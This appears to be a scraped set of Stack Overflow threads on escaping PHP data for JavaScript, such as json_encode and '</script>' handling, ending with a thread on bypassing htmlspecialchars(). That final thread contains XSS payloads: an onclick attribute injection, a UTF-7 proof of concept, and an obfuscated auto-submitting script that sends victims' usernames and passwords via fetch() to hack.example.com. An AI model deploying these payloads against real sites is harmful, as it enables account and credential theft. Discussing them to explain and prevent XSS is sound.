How do I replace </script> to </scr"+"ipt> - php

Okay I've something looks like below from user input, known that a </script> will not working inside a document.write() function
<script type="text/javascript">document.write("<script type='text/javascript' src='"+(location.protocol == 'https:' ? 'https:' : 'http:') + "//www.domain.com/script.js'></script>");</script>
Is there anyway to replace the </script> to </scr"+"ipt> inside document.write() function?

Is there anyway to replace the </script> to </scr"+"ipt> inside document.write() function?
No.
The sequence of characters </script> is parsed as an end tag by the HTML parser before it even reaches the JavaScript parser.
You have to edit the source code before sending it to the browser.
That said, there are better ways to approach the problem then looking a location.protocol anyway. Use a scheme relative URI instead:
<script src="//www.example.com/script.js'></script>
Or redirect all HTTP traffic for the HTML document to HTTPS so that you never serve it on an insecure connection.
Your comments suggest that the question you should have asked was:
How can I place arbitrary submitted form data into a JavaScript string literal using PHP?
Use the json_encode function. If you pass it a string, it will give you a JavaScript escaped string suitable for inserting into a <script> element. (It won't be a valid JSON Text though, since that must have an object or array at the outermost level).
<script>
document.write(<?php echo json_encode($_POST['script']); ?>);
</script>
Serious security warning: Do not do this without implementing protection from CSRF attacks as allowing third parties to cause your users to submit JavaScript to your site could be a major problem.

Related

How to prepare PHP variable for Javascript array() use?

Let's say that we have input field or textarea where user can put anything. This means that user can put there:
text
white spaces
multilines
HTML tags
single and double quotes
slashes
and whatnot...
My current code does this: <?php $data = addslashes($content_of_input); ?>
and soon after that...
<?php
$php_generate_javascriptArray .='
javascriptArray[0] ="'.$data.'";
';
?>
<script>
javascriptArray = [];
<?php echo $php_generate_javascriptArray; ?>
</script>
Adding slashes unfortunately isn't enough - Javascript breaks when user puts for instance multiple lines or HTML links into that. Is there any way to prevent that and still ALLOW Javascript array to contain LINK, MULTIPLE LINES, HTML TAGS? I'm looking for some universal filters.
json_encode will convert a PHP data structure (or string, or number) to the appropriate JavaScript data structure while making it safe for injecting into a script element in an HTML document (by escaping slashes).
<script>
var data = <?php echo json_encode($data); ?> ;
</script>
Use PHP function urlencode(...)
or base64_encode(...) of need of more advanced protection.
I normal use urlencode and on Javascript side use unescape for decode the URL format data.

Why isn't a .post and .html call able to compare in an if(condition) in jQuery?

The following script has been created to test if the value of a db field has changed and if so then reload the page and if not, alert the user that the change has not happened.
The alert is just to see what is being returned by the .post function.
The auto_refresh works fine as i need it to check every 5 seconds, when the if() condition is set to '==' the page alert shows and if it is set to '!=' the page continually reloads.
jQuery.post is getting the db field data but it doesn't seem to be able to compare the 2 values correctly.
any help would be greatly appreciated, thanks
var auto_refresh = setInterval(function(){
$.post("/index.php/listen", function(data) {
if($('#slide').html() != data)
{
window.location.reload()
}
else
{
alert('its the same'+ data);
}
});
}, 5000);
EDITED
Rather than trying to parse raw data, why not pass HTML from the $.post() like:
<p>4</p>
Then the jQuery inserts the the replaces the p tag with the new version from the $.post()
because the html is passed on there is no white space and the comparison can be made correctly.
I don't think it is very safe to compare the new value with an html. Some browsers might add spaces or unwanted chars. I'd try to save the old value in an input of type hidden and use the .val() or, event better, in a variable. It depends of your scenario.
If $('#slide').html() == data
then that means that the conditional failed, it was not equal, so it showed the alert.
The problem is that the data variable might come back with a few extra white spaces. If I were you, I'd try to parse a small section of the data variable, and a small section of the html in slider and compare those values.
Like if slider has something within a p tag or an input value, compare it to the data to see if it has that same value returned in that p tag or input value, then replace all the whitespaces with an empty string just to be safe.
Btw, try not to use alerts since you can't really know for sure if there is an extra whitespace. Try to use something like "debugger" if using IE with visual studios, or console.log when using chrome or firefox.
You are comparing two html strings: one is serialized from the DOM, and another is from a server response.
There's no guarantee that the two strings will ever be the same! Think about it: the same rendered html can have many string differences. E.g. click and click are both the same HTML, but different strings.
You can take two different approaches here:
You can create some kind of canonicalization routine that guarantees that two html fragments you consider "the same" will have the same string form. Run both html fragments through this routine, then compare.
You can manage versions more explicitly.
Include some kind of version indicator:
You can use the ETAG header (which means you can take advantage of http caching mechanisms).
You can include some kind of version number in the html itself (maybe in a data-version attribute), and compare those.
You can keep the html string from your server separately and compare against that.

will this have any side effect?

I wanted to pass PHP variables to Javascript without triggering any new http request (aka: inserting it directly in markup). But I wanted the content as is (without any sanitization that could change my values, even if they where markup itself). Of course I wanted to keep it safe as well.
The best way i've came up so far includes json + base64_encode + data uri schemes:
<script type="text/javascript" src="data:text/javascript;base64,<?php echo base64_encode('var thing = '.json_encode($thing)); ?>"></script>
My question is: will this have any side effect? can I safely use this?
I certainly wouldn't do this. You're introducing unnecessary compatibility problems (IE). By base64 encoding, you're bloating the size of your JSON by ~37%.
<script type="text/javascript">var thing = <?php echo json_encode($thing); ?></script>
Realistically, the only problem you might run in to is if $thing has a '</script>' in a string somewhere. (It looks like json_encode() actually escapes all forward slashes /, so this isn't a problem.) HTML parsers will ignore anything else that might look like markup in a <script> block.
You do have to watch out for text encoding if your page isn't UTF-8.

Is it possible to pass a php variable inside javascript?

I am trying to pass a php variable inside javascript bt it is not working.
Comment
Is it possible to do so or I may be incorrect somewhere...
Thanks for your response in advance! :)
First of all, you probably should change 'java' tag to 'javascript'.
Regarding your question - PHP is parsed on the server side, while Javascript runs on the client side. If you are not going to use AJAX and asynchronous calls, you could write values to the JS source, like this:
<script type="text/javascript">
var foo = <?php echo $yourData; ?>;
alert(foo);
</script>
Comment
You're dynamically generating Javascript. You will save yourself some headaches if when you need to do this you, keep it simple. Transfer the data from PHP to Javascript in the simplest way possible at the top of the page:
<script type="text/javascript" >
var $current = '<%? echo $current; %>';
</script>
As others have pointed out, you will want to encode and quote your php variable, using json_encode (in which case you probably won't need the quotes), or a simpler escape function if you know the possible values.
Now, your inline code can be simpler:
Comment
A final recommendation would be to pull this out into its own function, and use the "onclick" attribute.
Use json_encode() if your PHP has it.
This will automatically quote and escape your string and ensures that special characters are properly encoded to prevent cross-site scripting (XSS) attacks.
However, I think you will have to pass UTF-8 strings to this function.
And vol7ron has a good point – you should put a semicolon ; after your statement and put a space between that and the question mark ? for better legibility.
Comment
You can also pass booleans, ints and even entire arrays to json_encode() to pass them to JavaScript.

XSS attack to bypass htmlspecialchars() function in value attribute

Let's say we have this form, and the possible part for a user to inject malicious code is this below
...
<input type=text name=username value=
<?php echo htmlspecialchars($_POST['username']); ?>>
...
We can't simply put a tag, or a javascript:alert(); call, because value will be interpreted as a string, and htmlspecialchars filters out the <,>,',", so We can't close off the value with quotations.
We can use String.fromCode(.....) to get around the quotes, but I still unable to get a simple alert box to pop up.
Any ideas?
Also, it's important to mention that allowing people to inject HTML or JavaScript into your page (and not your datasource) carries no inherent security risk itself. There already exist browser extensions that allow you to modify the DOM and scripts on web pages, but since it's only client-side, they're the only ones that will know.
Where XSS becomes a problem is when people a) use it to bypass client-side validation or input filtering or b) when people use it to manipulate input fields (for example, changing the values of OPTION tags in an ACL to grant them permissions they shouldn't have). The ONLY way to prevent against these attacks is to sanitize and validate input on the server-side instead of, or in addition to, client-side validation.
For sanitizing HTML out of input, htmlspecialchars is perfectly adequate unless you WANT to allow certain tags, in which case you can use a library like HTMLPurifier. If you're placing user input in HREF, ONCLICK, or any attribute that allows scripting, you're just asking for trouble.
EDIT: Looking at your code, it looks like you aren't quoting your attributes! That's pretty silly. If someone put their username as:
john onclick="alert('hacking your megabits!1')"
Then your script would parse as:
<input type=text name=username value=john onclick="alert('hacking your megabits!1')">
ALWAYS use quotes around attributes. Even if they aren't user-inputted, it's a good habit to get into.
<input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">
There's one way. You aren't passing htmlspecialchars() the third encoding parameter or checking encoding correctly, so:
$source = '<script>alert("xss")</script>';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';
Only works if you can a) set the page to output UTF-7 or b) trick the page into doing so (e.g. iframe on a page without a clear charset set). The solution is to ensure all input is of the correct encoding, and that the expected encoding is correctly set on htmlspecialchars().
How it works? In UTF-7, <>" chars have different code points than UTF-8/ISO/ASCII so they are not escaped unless convert the output to UTF-8 for assurance (see iconv extension).
value is a normal HTML attribute, and has nothing to do with Javascript.
Therefore, String.fromCharCode is interpreted as a literal value, and is not executed.
In order to inject script, you first need to force the parser to close the attribute, which will be difficult to do without >'".
You forgot to put quotes around the attribute value, so all you need is a space.
Even if you do quote the value, it may still be vulnerable; see this page.
Somewhat similar to Daniel's answer, but breaking out of the value= by first setting a dummy value, then adding whitespace to put in the script which runs directly by a trick with autofocus, setting the input field blank and then adds a submit function which runs when the form is submitted, leaking the username and password to an url of my choice, creating strings from the string prototype without quotation (because quotations would be sanitized):
<body>
<script type="text/javascript">
function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}
redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>
You cannt exploit that input field which contain that func but you can exploit any btn or paragraph or heading or text near it by:
like you can add this on btn -> onclick=alert('Hello')

Categories